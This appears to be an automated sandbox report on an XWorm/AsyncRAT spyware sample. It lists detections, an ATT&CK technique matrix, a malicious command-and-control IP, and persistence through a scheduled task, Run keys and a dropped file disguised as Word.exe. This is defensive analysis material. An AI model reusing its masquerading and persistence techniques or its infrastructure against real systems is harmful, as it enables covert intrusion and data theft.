Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Word.exe	Queries volume information: C:\Users\user\AppData\Roaming\Word.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Word.exe	Queries volume information: C:\Users\user\AppData\Roaming\Word.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Word.exe	Queries volume information: C:\Users\user\AppData\Roaming\Word.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Word.exe	Queries volume information: C:\Users\user\AppData\Roaming\Word.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 0.0.file.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2555959588.0000000012691000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1250043956.0000000000262000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2523388920.0000000002681000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5668, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Word.exe, type: DROPPED

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 0.0.file.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2555959588.0000000012691000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1250043956.0000000000262000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2523388920.0000000002681000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5668, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Word.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	12 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	23 System Information Discovery	Remote Desktop Protocol	1 Screen Capture	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	21 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	2 Obfuscated Files or Information	Security Account Manager	531 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Registry Run Keys / Startup Folder	2 Software Packing	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	151 Virtualization/Sandbox Evasion	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Modify Registry	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	151 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	76%	ReversingLabs	ByteCode-MSIL.Spyware.AsyncRAT
file.exe	100%	Avira	TR/Spy.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\Word.exe	100%	Avira	TR/Spy.Gen
C:\Users\user\AppData\Roaming\Word.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Word.exe	76%	ReversingLabs	ByteCode-MSIL.Spyware.AsyncRAT

Source	Detection	Scanner	Label
http://www.microsoft.co~	0%	Avira URL Cloud	safe
103.230.121.124	0%	Avira URL Cloud	safe
http://osoft.co	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ip-api.com	208.95.112.1	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
103.230.121.124	true	Avira URL Cloud: safe	unknown
http://ip-api.com/line/?fields=hosting	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000007.00000002.1321120516.0000022D4B1F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1438468730.000001D1614B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1588201996.000001661006E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1790369343.0000024E36CFD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.m	powershell.exe, 0000000B.00000002.1451558022.000001D169939000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1827907029.0000024E3F432000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000010.00000002.1652250573.0000024E26EB9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000007.00000002.1304950670.0000022D3B3A8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1373555805.000001D1517F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1478158258.0000016600228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1652250573.0000024E26EB9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000010.00000002.1652250573.0000024E26EB9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000007.00000002.1304950670.0000022D3B3A8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1373555805.000001D1517F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1478158258.0000016600228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1652250573.0000024E26EB9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000010.00000002.1790369343.0000024E36CFD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000007.00000002.1321120516.0000022D4B1F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1438468730.000001D1614B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1588201996.000001661006E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1790369343.0000024E36CFD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000010.00000002.1790369343.0000024E36CFD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.mic	powershell.exe, 00000010.00000002.1824109278.0000024E3F346000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000010.00000002.1790369343.0000024E36CFD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://osoft.co	powershell.exe, 00000007.00000002.1335289999.0000022D539F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micft.cMicRosof	powershell.exe, 00000010.00000002.1824109278.0000024E3F346000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000007.00000002.1304950670.0000022D3B181000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1373555805.000001D151441000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1478158258.0000016600001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1652250573.0000024E26C91000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.c	powershell.exe, 0000000B.00000002.1451558022.000001D169961000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.microsoft.co~	powershell.exe, 0000000E.00000002.1615577139.0000016677A06000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	file.exe, 00000000.00000002.2523388920.0000000002681000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1304950670.0000022D3B181000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1373555805.000001D151441000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1478158258.0000016600001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1652250573.0000024E26C91000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000010.00000002.1652250573.0000024E26EB9000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States		53334	TUT-ASUS	false
103.230.121.124	unknown	Hong Kong		62468	VPSQUANUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1565292
Start date and time:	2024-11-29 15:18:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@20/21@1/2
EGA Information:	Successful, ratio: 11.1%
HCA Information:	Successful, ratio: 99% Number of executed functions: 128 Number of non-executed functions: 8
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Word.exe, PID 316 because it is empty
Execution Graph export aborted for target Word.exe, PID 4016 because it is empty
Execution Graph export aborted for target Word.exe, PID 4308 because it is empty
Execution Graph export aborted for target Word.exe, PID 8184 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7020 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7348 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7628 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7872 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
09:19:05	API Interceptor	68475x Sleep call for process: file.exe modified
09:19:09	API Interceptor	57x Sleep call for process: powershell.exe modified
11:14:31	API Interceptor	4x Sleep call for process: Word.exe modified
17:14:30	Task Scheduler	Run new task: Word path: C:\Users\user\AppData\Roaming\Word.exe
17:14:35	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Word C:\Users\user\AppData\Roaming\Word.exe
17:14:43	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Word C:\Users\user\AppData\Roaming\Word.exe
17:14:51	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Word.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	Enquiry.js	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	8FloezlGW7.exe	Get hash	malicious	Python Stealer, Blank Grabber	Browse	ip-api.com/json/?fields=225545
	Orden de compra.pdf______________________________________.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Pedido_4502351226_de Compa#U00f1#U00eda Anno S.A..exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	word.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	svchost.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	Chrome.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	Registry.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	OC LICITACI#U00d3N DICIEMBRE_24.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
